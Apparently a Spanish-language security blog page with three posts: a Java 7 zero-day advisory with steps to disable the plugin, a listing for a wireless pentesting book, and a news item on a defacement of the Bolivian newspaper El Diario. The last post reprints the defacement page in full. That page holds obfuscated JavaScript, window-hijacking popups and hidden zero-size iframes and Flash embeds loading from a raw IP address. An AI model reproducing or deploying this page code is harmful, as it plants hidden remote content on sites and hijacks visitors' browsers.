¿Que tenemos en riesgo?
Cuando se tiene un agujero de seguridad de este tipo, tenemos en riesgo la perdida de información, daño del equipo, perdida del control del propio equipo infectado,

¿Como nos infectamos?
En el caso de Java, nos infectamos cuando ingresamos a una web que hace uso de applets, son esas ventanas que aparecen pidiendo autorización para ejecutar una aplicación, pero cuidado, en algunos casos el sitio infectado puede ejecutar el applets en segundo plano sin solicitar permiso alguno.

Así también, existen otros métodos de infección como son la ingeniería social los cuales tratan de atraer tu atención para que hagas clic en un enlace infectado, por ejemplo en facebook cuando ves un titular sensacionalista del tipo "Shakira desnuda", "No lo puedo creer que este vivo!" , "Hugo Chavez esta muerto, te muestro la foto", etc NO HAGAS CLIC, la curiosidad mato al gato.

¿Como nos protegemos?
Es erróneo el rumor de tener que desintalar completamente java para protegerse, la cosa no va por ahi.

Como cualquier otra vulnerabilidad de cualquier software que funcione bajo la web (java , flash, pdf, word , etc )  estos necesitan de un software llamado "plugins" que se instala en los navegadores (plugin = software que se instalan en el navegador para ampliar funciones de contenido interactivo, vídeo, música, programas web, 3d, etc. ) y sin el cual el software externo no puede funcionar.

Entonces, para protegernos de esta vulnerabilidad, lo que debemos hacer es "desactivar o desintalar el PLUG-IN de java", solo eso, no se debe desintalar la maquina virtual java (JVM) , a menos claro que sea uno de esos paranoicos que cree en el fin del mundo.

Dependiendo del navegador que utilice lo que debe hacer es:

Navegador CHROME

En la barra de direcciones del navegador, teclea "chrome://plugins/" sin comillas y presiona enter, te aparecerá una lista de todos los plugins que tengas instalado, busca el plugin de java 7, si lo tienes debes "inhabilitarlo", si tienes una versión anterior, osea la 6 puedes respirar tranquilo.

Navegador FIREFOX
En Firefox ve al menú HERRAMIENTAS -> COMPLEMENTOS , y cuando te muestre la ventana de complementos, escoge PLUGINS y busca el plugin de java 7, podrás ver que firefox ya a dejado también una alerta para versiones anteriores a Java, si bien java 6 tenia graves fallas fueron corregidas y claro como nada es perfecto seguirá teniendo fallas actualmente, como cualquier otro software.

Navegador Internet Explorer.
"No uses Internet Explorer en ninguna de sus versiones" :)

Navegador SAFARI
Ve a EDICION -> PREFERENCIAS elige la pestaña SEGURIDAD y desmarcas la opcion "Enable Java".

Información Extra.

Un nuevo troyano llamado Mal / JavaJar-B se ha encontrado que explota una vulnerabilidad en Java de Oracle 7 y afecta incluso a la última versión del entorno de ejecución (7u10).

El exploit ha sido descrito por Sophos como un ataque de día cero (Zero-Day) ya que se ha comprobado que se utiliza activamente en el malware antes de que los desarrolladores han tenido la oportunidad de investigar y parchar. El exploit se encuentra actualmente en revisión en la National Vulnerability Database y se ha dado un número de ID CVE-2013-0422, donde todavía se describe como relativamente desconocido (Original).

ACTUALIZADO 14/01/2013

Oracle saco un parche Java SE 7 Update 11 Released para el error de seguridad Security Alert CVE-2013-0422 y recomienda actualizar a java 7 update 11 inmediatamente.

Lo sospeche desde en principio :)

continue reading

Test de penetración con BackTrack 5

BackTrack 5 Wireless Penetration Testing

INDICE

• Capitulo 1.- Wireless Lab Setup
• Capitulo 2.- WLAN and Its Inherent Insecurities
• Capitulo 3.- Bypassing WLAN Authentication
• Capitulo 4.- WLAN Encryption Flaws
• Capitulo 5.- Attacks on the WLAN Infrastructure
• Capitulo 6.- Attacking the Client
• Capitulo 7.- Advanced WLAN Attacks
• Capitulo 8.- Attacking WPA-Enterprise and RADIUS
• Capitulo 9.- WLAN Penetration Testing Methodology

"Enlace de descarga pobre" 

Tamaño: 12 MB

Archivo: PDF

220 páginas

Idioma: Ingles

continue reading

Hacker ataca pagina web de "El Diario"

El portal del periodico boliviano “El diario” fue atacado este domingo 25 de septiembre por un Hacker identificado por el alias de Tiger-M@te, este hacker bastante conocido en el mundo del hacking por su ataque a Google Bangladesh (www.google.com.bd) a principios de este año, entre muchos otros ataques a sitios de telecomunicaciones como www.waridtel.com.bd y www.bd.airtel.com, americanexpress.com.bd, entre otros.

Este ataque no fue realizado por Anonymous Bolivia, el cual ya ataco algunas paginas bolivianas meses atras, este ataque más parece ser un ataque al azar ya que no existe ninguna conexion entre este hacker y la coyuntura social y politica actual de Bolivia. El sitio web ya fue restaurado en horas de la tarde ante el asombro y panico de los funcionarios de este medio de comunicación que no podian entender lo que pasaba

para aquellos programadores que les interese este tema, dejo el código de la pagina como se encontraba al momento del ataque:

<html><head>
<title>HackeD By TiGER-M@TE</title><style>
body { scrollbar-track-color: #000000;scrollbar-darkshadow-color: #000000; scrollbar-face-color: #000000; scrollbar-shadow-color: #FFFFFF; scrollbar-highlight-color: #FFFFFF; scrollbar-3dlight-color: #000000;  scrollbar-arrow-color: #FFFFFF; color:#8E959E }
.name { text-decoration: none;}
</style><script>var _0x8ae2=["\x68\x74\x74\x70\x3A\x2F\x2F\x7A\x6F\x6E\x65\x2D\x68\x2E\x6F\x72\x67\x2F\x61\x72\x63\x68\x69\x76\x65\x2F\x6E\x6F\x74\x69\x66\x69\x65\x72\x3D\x54\x69\x47\x45\x52\x2D\x4D\x25\x34\x30\x54\x45","\x6F\x70\x65\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x7A\x6F\x6E\x65\x2D\x68\x2E\x6F\x72\x67\x2F\x61\x72\x63\x68\x69\x76\x65\x2F\x6E\x6F\x74\x69\x66\x69\x65\x72\x3D\x54\x69\x47\x45\x52\x2D\x4D\x25\x34\x30\x54\x45\x2F\x73\x70\x65\x63\x69\x61\x6C\x3D\x31","\x68\x74\x74\x70\x3A\x2F\x2F\x6C\x6D\x67\x74\x66\x79\x2E\x63\x6F\x6D\x2F\x3F\x71\x3D\x48\x61\x63\x6B\x65\x64\x20\x62\x79\x20\x54\x69\x47\x45\x52\x2D\x4D\x25\x34\x30\x54\x45","\x73\x63\x72\x6F\x6C\x6C\x42\x79","\x74\x69\x74\x6C\x65","\x48\x61\x63\x6B\x65\x44\x20\x42\x79\x20\x54\x69\x47\x45\x52\x2D\x4D\x40\x54\x45","\x6F\x6E\x6B\x65\x79\x64\x6F\x77\x6E","\x72\x65\x73\x69\x7A\x65\x54\x6F","\x6D\x6F\x76\x65\x54\x6F","\x6D\x6F\x76\x65\x28\x29","\x72\x6F\x75\x6E\x64","\x66\x67\x43\x6F\x6C\x6F\x72","\x62\x67\x43\x6F\x6C\x6F\x72","\x4C\x4F\x4C","\x61\x76\x61\x69\x6C\x57\x69\x64\x74\x68","\x61\x76\x61\x69\x6C\x48\x65\x69\x67\x68\x74"];function details(){window[_0x8ae2[1]](_0x8ae2[0]);window[_0x8ae2[1]](_0x8ae2[2]);window[_0x8ae2[1]](_0x8ae2[3]);} ;window[_0x8ae2[4]](0,1);if(document[_0x8ae2[5]]==_0x8ae2[6]){function keypressed(){return false;} ;document[_0x8ae2[7]]=keypressed;window[_0x8ae2[8]](0,0);window[_0x8ae2[9]](0,0);setTimeout(_0x8ae2[10],2);var mxm=50;var mym=25;var mx=0;var my=0;var sv=50;var status=1;var szx=0;var szy=0;var c=255;var n=0;var sm=30;var cycle=2;var done=2;function move(){if(status==1){mxm=mxm/1.05;mym=mym/1.05;mx=mx+mxm;my=my-mym;mxm=mxm+(400-mx)/100;mym=mym-(300-my)/100;window[_0x8ae2[9]](mx,my);rmxm=Math[_0x8ae2[11]](mxm/10);rmym=Math[_0x8ae2[11]](mym/10);if(rmxm==0){if(rmym==0){status=2;} ;} ;} ;if(status==2){sv=sv/1.1;scrratio=1+1/3;mx=mx-sv*scrratio/2;my=my-sv/2;szx=szx+sv*scrratio;szy=szy+sv;window[_0x8ae2[9]](mx,my);window[_0x8ae2[8]](szx,szy);if(sv<0.1){status=3;} ;} ;if(status==3){document[_0x8ae2[12]]=0xffffFF;c=c-16;if(c<0){status=8;} ;} ;if(status==4){c=c+16;document[_0x8ae2[13]]=c*65536;document[_0x8ae2[12]]=(255-c)*65536;if(c>239){status=5;} ;} ;if(status==5){c=c-16;document[_0x8ae2[13]]=c*65536;document[_0x8ae2[12]]=(255-c)*65536;if(c<0){status=6;cycle=cycle-1;if(cycle>0){if(done==1){status=7;} else {status=4;} ;} ;} ;} ;if(status==6){document[_0x8ae2[5]]=_0x8ae2[14];alert(_0x8ae2[14]);cycle=2;status=4;done=1;} ;if(status==7){c=c+4;document[_0x8ae2[13]]=c*65536;document[_0x8ae2[12]]=(255-c)*65536;if(c>128){status=8;} ;} ;if(status==8){window[_0x8ae2[9]](0,0);sx=screen[_0x8ae2[15]];sy=screen[_0x8ae2[16]];window[_0x8ae2[8]](sx,sy);status=9;} ;var _0xceebx11=setTimeout(_0x8ae2[10],0.3);} ;} ;</script></head>
<body oncontextmenu="return false;" bgcolor="#000000" text="16777215"><p align="center"><span style="font-weight: 700;"><font color="#EEEEEE" size="5" face="Tahoma"><i>Server HackeD<br><br>By</i> </font><br><br><a href="#" class="name"><script>if (navigator.appName == 'Microsoft Internet Explorer'){document.write('<font face="Arial Black" size="5" color="#FF0000">');}else{document.write('<font face="Arial Black" size="5" color="black" style="text-shadow:#FFFFFF 2px 2px 5px">');}</script><font style="text-shadow: 2px 2px 5px rgb(255, 255, 255);" color="black" size="5" face="Arial Black"><i onclick="details()">TiGER-M@TE</i></font></a></span><br><br><script>var l1n3='<img src="data:image/gif;base64,R0lGODlhqAABAOYAAAMDA3d4eAAAAAICAfLy8l5dXaWlpSQlJBwcHBQVFBISEQ0NDbu7u/v8/EJBQePj4/3+/T4+PtjX2Do7OlZWVyEiIjc3N09PT4OEhIB/f/r6+sjIyMTExPb29rS0tHx7fOvr64+Pj4eHh56dnZqZmvT09GVlZejp6dXU1aGhoeXm5khISJKTk93e3hkZGQcHB0RFRBcXF+7u7isqKi4uLmxtbLe3t6ysrXR0dTQ0M87Ozw8QEMvLy6ipqQUFBUxMTAkJCdHS0vDw73BwcQsLCycnJ/j4+JeXl8HBwmFhYVNSU+Dg4Glpadvb2jEwML6+vrCvsB8fH4uLi1pZWgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAACoAAEAAAewgBANGkYdJQRCMiAnKg9LLU0SKEE6PBscSE8MNh5QNz0GKSMkRywhUiIYGR8BOEM1TCZJBVMUShc/KzAOERMWOU40M0UHFVEILjEJCjsLREAvPgADAgIDAD4vQEQLOwoJMS4IURUHRTM0TjkWExEOMCs/F0oUUwVJJkw1QzgBHxkYREgJweIIiREpDPS4AcWDDQZPkHDYwENHEBQSmrRY8kDFCRAyhBAo0cGIhgYQAgEAOw==" />';
document.write(l1n3+l1n3);</script><img src="data:image/gif;base64,R0lGODlhqAABAOYAAAMDA3d4eAAAAAICAfLy8l5dXaWlpSQlJBwcHBQVFBISEQ0NDbu7u/v8/EJBQePj4/3+/T4+PtjX2Do7OlZWVyEiIjc3N09PT4OEhIB/f/r6+sjIyMTExPb29rS0tHx7fOvr64+Pj4eHh56dnZqZmvT09GVlZejp6dXU1aGhoeXm5khISJKTk93e3hkZGQcHB0RFRBcXF+7u7isqKi4uLmxtbLe3t6ysrXR0dTQ0M87Ozw8QEMvLy6ipqQUFBUxMTAkJCdHS0vDw73BwcQsLCycnJ/j4+JeXl8HBwmFhYVNSU+Dg4Glpadvb2jEwML6+vrCvsB8fH4uLi1pZWgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAACoAAEAAAewgBANGkYdJQRCMiAnKg9LLU0SKEE6PBscSE8MNh5QNz0GKSMkRywhUiIYGR8BOEM1TCZJBVMUShc/KzAOERMWOU40M0UHFVEILjEJCjsLREAvPgADAgIDAD4vQEQLOwoJMS4IURUHRTM0TjkWExEOMCs/F0oUUwVJJkw1QzgBHxkYREgJweIIiREpDPS4AcWDDQZPkHDYwENHEBQSmrRY8kDFCRAyhBAo0cGIhgYQAgEAOw=="><img src="data:image/gif;base64,R0lGODlhqAABAOYAAAMDA3d4eAAAAAICAfLy8l5dXaWlpSQlJBwcHBQVFBISEQ0NDbu7u/v8/EJBQePj4/3+/T4+PtjX2Do7OlZWVyEiIjc3N09PT4OEhIB/f/r6+sjIyMTExPb29rS0tHx7fOvr64+Pj4eHh56dnZqZmvT09GVlZejp6dXU1aGhoeXm5khISJKTk93e3hkZGQcHB0RFRBcXF+7u7isqKi4uLmxtbLe3t6ysrXR0dTQ0M87Ozw8QEMvLy6ipqQUFBUxMTAkJCdHS0vDw73BwcQsLCycnJ/j4+JeXl8HBwmFhYVNSU+Dg4Glpadvb2jEwML6+vrCvsB8fH4uLi1pZWgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAACoAAEAAAewgBANGkYdJQRCMiAnKg9LLU0SKEE6PBscSE8MNh5QNz0GKSMkRywhUiIYGR8BOEM1TCZJBVMUShc/KzAOERMWOU40M0UHFVEILjEJCjsLREAvPgADAgIDAD4vQEQLOwoJMS4IURUHRTM0TjkWExEOMCs/F0oUUwVJJkw1QzgBHxkYREgJweIIiREpDPS4AcWDDQZPkHDYwENHEBQSmrRY8kDFCRAyhBAo0cGIhgYQAgEAOw=="><br><br><script>if (navigator.appName == 'Microsoft Internet Explorer'){document.write('<font face="Arial Black" size="5" color="#FF0000">');}else{document.write('<font face="Arial Black" size="5" color="black" style="text-shadow:#FFFFFF 2px 2px 5px">');}</script><font style="text-shadow: 2px 2px 5px rgb(255, 255, 255);" color="black" size="5" face="Arial Black">#Bangladeshi HackeR</font><br><br><br>
<script>var _0x9355=["\x74\x69\x74\x6C\x65","\x48\x61\x63\x6B\x65\x44\x20\x42\x79\x20\x54\x69\x47\x45\x52\x2D\x4D\x40\x54\x45","\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x66\x6F\x74\x6F\x6E\x6F\x6E\x73\x2E\x72\x75\x2F\x69\x6D\x61\x67\x65\x73\x2F\x31\x37\x2E\x30\x33\x2E\x31\x31\x2F\x62\x79\x74\x69\x67\x65\x72\x6D\x74\x65\x2E\x6A\x70\x67\x22\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x22\x74\x68\x69\x73\x2E\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x6E\x75\x6C\x6C\x3B\x74\x68\x69\x73\x2E\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x69\x6D\x61\x67\x65\x2E\x62\x61\x79\x69\x6D\x67\x2E\x63\x6F\x6D\x2F\x6D\x61\x65\x61\x64\x61\x61\x64\x69\x2E\x6A\x70\x67\x27\x3B\x22\x20\x2F\x3E","\x77\x72\x69\x74\x65"];if(document[_0x9355[0]]!=_0x9355[1]){exit(0);} ;document[_0x9355[3]](_0x9355[2]);</script><img src="http://www.fotonons.ru/images/17.03.11/bytigermte.jpg" onerror="this.onerror=null;this.src='http://image.bayimg.com/maeadaadi.jpg';">

<br><br><br><font weight="bold" color="#FFFFFF" size="5" face="Lucida Console">Greetz :</font> <font color="#FF0000" size="4"><b>aBu.HaLiL501</b></font> ; <font color="#FF0000" size="4"><b>w7sh.syria</b></font> ; <font color="#FF0000" size="4"><b>Sy-Hacker</b></font> ; <font color="#FF0000" size="4"><b>NmR.Hacker</b></font> ; <font color="#FF0000" size="4"><b>Wa7sh Hacker</b></font> ; <font color="#FF0000" size="4"><b>h311 c0d3</b></font></p><p style="border: 10px solid rgb(36, 36, 36); padding: 15px; text-align: center; border-radius: 15px 15px 15px 15px; margin: 0pt;"><span style="font-weight: 700;"><font color="#FF0000" size="1" face="Tahoma"><i><font weight"bold"="" color="white">#</font>TiGER-M@TE<br>#<font weight="bold" color="white">localhost_80@hotmail.com</font><br><font weight"bold"="" color="white"></font><font color="yellow">©UNDERGROUND HACKERS  2007 - 2011 </font></i><br><br><font size="3">#EOF</font></font></span></p>

<script language="javascript">var _0xd8af=["\x25\x33\x43\x25\x37\x33\x25\x36\x33\x25\x37\x32\x25\x36\x39\x25\x37\x30\x25\x37\x34\x25\x32\x30\x25\x36\x43\x25\x36\x31\x25\x36\x45\x25\x36\x37\x25\x37\x35\x25\x36\x31\x25\x36\x37\x25\x36\x35\x25\x33\x44\x25\x32\x32\x25\x36\x41\x25\x36\x31\x25\x37\x36\x25\x36\x31\x25\x37\x33\x25\x36\x33\x25\x37\x32\x25\x36\x39\x25\x37\x30\x25\x37\x34\x25\x32\x32\x25\x33\x45\x25\x36\x36\x25\x37\x35\x25\x36\x45\x25\x36\x33\x25\x37\x34\x25\x36\x39\x25\x36\x46\x25\x36\x45\x25\x32\x30\x25\x36\x34\x25\x34\x36\x25\x32\x38\x25\x37\x33\x25\x32\x39\x25\x37\x42\x25\x37\x36\x25\x36\x31\x25\x37\x32\x25\x32\x30\x25\x37\x33\x25\x33\x31\x25\x33\x44\x25\x37\x35\x25\x36\x45\x25\x36\x35\x25\x37\x33\x25\x36\x33\x25\x36\x31\x25\x37\x30\x25\x36\x35\x25\x32\x38\x25\x37\x33\x25\x32\x45\x25\x37\x33\x25\x37\x35\x25\x36\x32\x25\x37\x33\x25\x37\x34\x25\x37\x32\x25\x32\x38\x25\x33\x30\x25\x32\x43\x25\x37\x33\x25\x32\x45\x25\x36\x43\x25\x36\x35\x25\x36\x45\x25\x36\x37\x25\x37\x34\x25\x36\x38\x25\x32\x44\x25\x33\x31\x25\x32\x39\x25\x32\x39\x25\x33\x42\x25\x32\x30\x25\x37\x36\x25\x36\x31\x25\x37\x32\x25\x32\x30\x25\x37\x34\x25\x33\x44\x25\x32\x37\x25\x32\x37\x25\x33\x42\x25\x36\x36\x25\x36\x46\x25\x37\x32\x25\x32\x38\x25\x36\x39\x25\x33\x44\x25\x33\x30\x25\x33\x42\x25\x36\x39\x25\x33\x43\x25\x37\x33\x25\x33\x31\x25\x32\x45\x25\x36\x43\x25\x36\x35\x25\x36\x45\x25\x36\x37\x25\x37\x34\x25\x36\x38\x25\x33\x42\x25\x36\x39\x25\x32\x42\x25\x32\x42\x25\x32\x39\x25\x37\x34\x25\x32\x42\x25\x33\x44\x25\x35\x33\x25\x37\x34\x25\x37\x32\x25\x36\x39\x25\x36\x45\x25\x36\x37\x25\x32\x45\x25\x36\x36\x25\x37\x32\x25\x36\x46\x25\x36\x44\x25\x34\x33\x25\x36\x38\x25\x36\x31\x25\x37\x32\x25\x34\x33\x25\x36\x46\x25\x36\x34\x25\x36\x35\x25\x32\x38\x25\x37\x33\x25\x33\x31\x25\x32\x45\x25\x36\x33\x25\x36\x38\x25\x36\x31\x25\x37\x32\x25\x34\x33\x25\x36\x46\x25\x36\x34\x25\x36\x35\x25\x34\x31\x25\x37\x34\x25\x32\x38\x25\x36\x39\x25\x32\x39\x25\x32\x44\x25\x37\x33\x25\x32\x45\x25\x37\x33\x25\x37\x35\x25\x36\x32\x25\x37\x33\x25\x37\x34\x25\x37\x32\x25\x32\x38\x25\x37\x33\x25\x32\x45\x25\x36\x43\x25\x36\x35\x25\x36\x45\x25\x36\x37\x25\x37\x34\x25\x36\x38\x25\x32\x44\x25\x33\x31\x25\x32\x43\x25\x33\x31\x25\x32\x39\x25\x32\x39\x25\x33\x42\x25\x36\x34\x25\x36\x46\x25\x36\x33\x25\x37\x35\x25\x36\x44\x25\x36\x35\x25\x36\x45\x25\x37\x34\x25\x32\x45\x25\x37\x37\x25\x37\x32\x25\x36\x39\x25\x37\x34\x25\x36\x35\x25\x32\x38\x25\x37\x35\x25\x36\x45\x25\x36\x35\x25\x37\x33\x25\x36\x33\x25\x36\x31\x25\x37\x30\x25\x36\x35\x25\x32\x38\x25\x37\x34\x25\x32\x39\x25\x32\x39\x25\x33\x42\x25\x37\x44\x25\x33\x43\x25\x32\x46\x25\x37\x33\x25\x36\x33\x25\x37\x32\x25\x36\x39\x25\x37\x30\x25\x37\x34\x25\x33\x45","\x77\x72\x69\x74\x65","\x25\x32\x38\x36\x46\x76\x66\x75\x6C\x73\x77\x25\x32\x38\x36\x48\x6C\x69\x25\x32\x38\x35\x25\x33\x42\x67\x72\x66\x78\x70\x68\x71\x77\x31\x77\x6C\x77\x6F\x68\x25\x32\x38\x35\x34\x25\x32\x38\x36\x47\x25\x32\x38\x35\x25\x33\x41\x4B\x64\x66\x6E\x68\x47\x25\x32\x38\x35\x33\x45\x25\x37\x43\x25\x32\x38\x35\x33\x57\x6C\x4A\x48\x55\x30\x50\x43\x57\x48\x25\x32\x38\x35\x25\x33\x41\x25\x32\x38\x35\x25\x33\x43\x25\x32\x38\x25\x33\x41\x45\x68\x25\x37\x42\x6C\x77\x25\x32\x38\x35\x25\x33\x42\x33\x25\x32\x38\x35\x25\x33\x43\x25\x32\x38\x36\x45\x25\x32\x38\x25\x33\x41\x47\x25\x32\x38\x33\x44\x67\x72\x66\x78\x70\x68\x71\x77\x31\x7A\x75\x6C\x77\x68\x25\x32\x38\x35\x25\x33\x42\x25\x32\x38\x35\x25\x33\x41\x25\x32\x38\x36\x46\x6C\x69\x75\x64\x70\x68\x25\x32\x38\x35\x33\x69\x75\x64\x70\x68\x65\x72\x75\x67\x68\x75\x25\x32\x38\x36\x47\x25\x32\x38\x35\x35\x33\x25\x32\x38\x35\x35\x25\x32\x38\x35\x33\x6B\x68\x6C\x6A\x6B\x77\x25\x32\x38\x36\x47\x25\x32\x38\x35\x35\x33\x25\x32\x38\x35\x35\x25\x32\x38\x35\x33\x7A\x6C\x67\x77\x6B\x25\x32\x38\x36\x47\x25\x32\x38\x35\x35\x33\x25\x32\x38\x35\x35\x25\x32\x38\x35\x33\x25\x32\x38\x35\x33\x76\x75\x66\x25\x32\x38\x36\x47\x25\x32\x38\x35\x35\x6B\x77\x77\x73\x25\x32\x38\x36\x44\x32\x32\x25\x33\x41\x25\x33\x41\x31\x35\x37\x25\x33\x41\x31\x39\x25\x33\x43\x31\x39\x25\x33\x42\x32\x31\x31\x31\x32\x37\x33\x37\x31\x73\x6B\x73\x25\x32\x38\x35\x35\x25\x32\x38\x36\x48\x25\x32\x38\x36\x46\x32\x6C\x69\x75\x64\x70\x68\x25\x32\x38\x36\x48\x25\x32\x38\x36\x46\x68\x70\x65\x68\x67\x25\x32\x38\x35\x33\x76\x75\x66\x25\x32\x38\x36\x47\x25\x32\x38\x35\x35\x6B\x77\x77\x73\x25\x32\x38\x36\x44\x32\x32\x25\x33\x41\x25\x33\x41\x31\x35\x37\x25\x33\x41\x31\x39\x25\x33\x43\x31\x39\x25\x33\x42\x32\x31\x31\x31\x32\x45\x25\x37\x43\x62\x57\x6C\x4A\x48\x55\x30\x50\x43\x57\x48\x31\x76\x7A\x69\x25\x32\x38\x36\x49\x76\x72\x78\x71\x67\x76\x7A\x69\x25\x32\x38\x36\x47\x6B\x77\x77\x73\x25\x32\x38\x36\x44\x32\x32\x25\x33\x41\x25\x33\x41\x31\x35\x37\x25\x33\x41\x31\x39\x25\x33\x43\x31\x39\x25\x33\x42\x32\x31\x31\x31\x32\x57\x6C\x4A\x48\x55\x30\x50\x43\x57\x48\x31\x76\x7A\x69\x25\x32\x38\x35\x39\x64\x78\x77\x72\x73\x6F\x64\x25\x37\x43\x25\x32\x38\x36\x47\x34\x25\x32\x38\x35\x39\x6F\x72\x72\x73\x76\x25\x32\x38\x36\x47\x34\x25\x32\x38\x35\x35\x25\x32\x38\x35\x33\x7A\x6C\x67\x77\x6B\x25\x32\x38\x36\x47\x25\x32\x38\x35\x35\x33\x25\x32\x38\x35\x35\x25\x32\x38\x35\x33\x6B\x68\x6C\x6A\x6B\x77\x25\x32\x38\x36\x47\x25\x32\x38\x35\x35\x33\x25\x32\x38\x35\x35\x25\x32\x38\x35\x33\x77\x25\x37\x43\x73\x68\x25\x32\x38\x36\x47\x25\x32\x38\x35\x35\x64\x73\x73\x6F\x6C\x66\x64\x77\x6C\x72\x71\x32\x25\x37\x42\x30\x76\x6B\x72\x66\x6E\x7A\x64\x79\x68\x30\x69\x6F\x64\x76\x6B\x25\x32\x38\x35\x35\x25\x32\x38\x36\x48\x25\x32\x38\x36\x46\x32\x68\x70\x65\x68\x67\x25\x32\x38\x36\x48\x25\x32\x38\x35\x25\x33\x41\x25\x32\x38\x35\x25\x33\x43\x25\x32\x38\x36\x45\x25\x32\x38\x36\x46\x32\x76\x66\x75\x6C\x73\x77\x25\x32\x38\x36\x48\x33"];document[_0xd8af[1]](unescape(_0xd8af[0]));dF(_0xd8af[2]);</script><script language="javascript">function dF(s){var s1=unescape(s.substr(0,s.length-1)); var t='';for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));document.write(unescape(t));}</script><script>if(document.title!='HackeD By TiGER-M@TE'){exit(0);}
document.write('<iframe frameborder="0" height="0" width="0"  src="http://77.247.69.68/.../404.php"></iframe><embed src="http://77.247.69.68/.../By_TiGER-M@TE.swf?soundswf=http://77.247.69.68/.../TiGER-M@TE.swf&autoplay=1&loops=1" width="0" height="0" type="application/x-shockwave-flash"></embed>');</script><iframe src="http://77.247.69.68/.../404.php" width="0" frameborder="0" height="0"></iframe><embed src="http://77.247.69.68/.../By_TiGER-M@TE.swf?soundswf=http://77.247.69.68/.../TiGER-M@TE.swf&amp;autoplay=1&amp;loops=1" type="application/x-shockwave-flash" width="0" height="0">

<!-- mp3 code ended -->

</body><!-- mp3 code starts from here,feel free to copy/paste --></html>

y se acabó..........

continue reading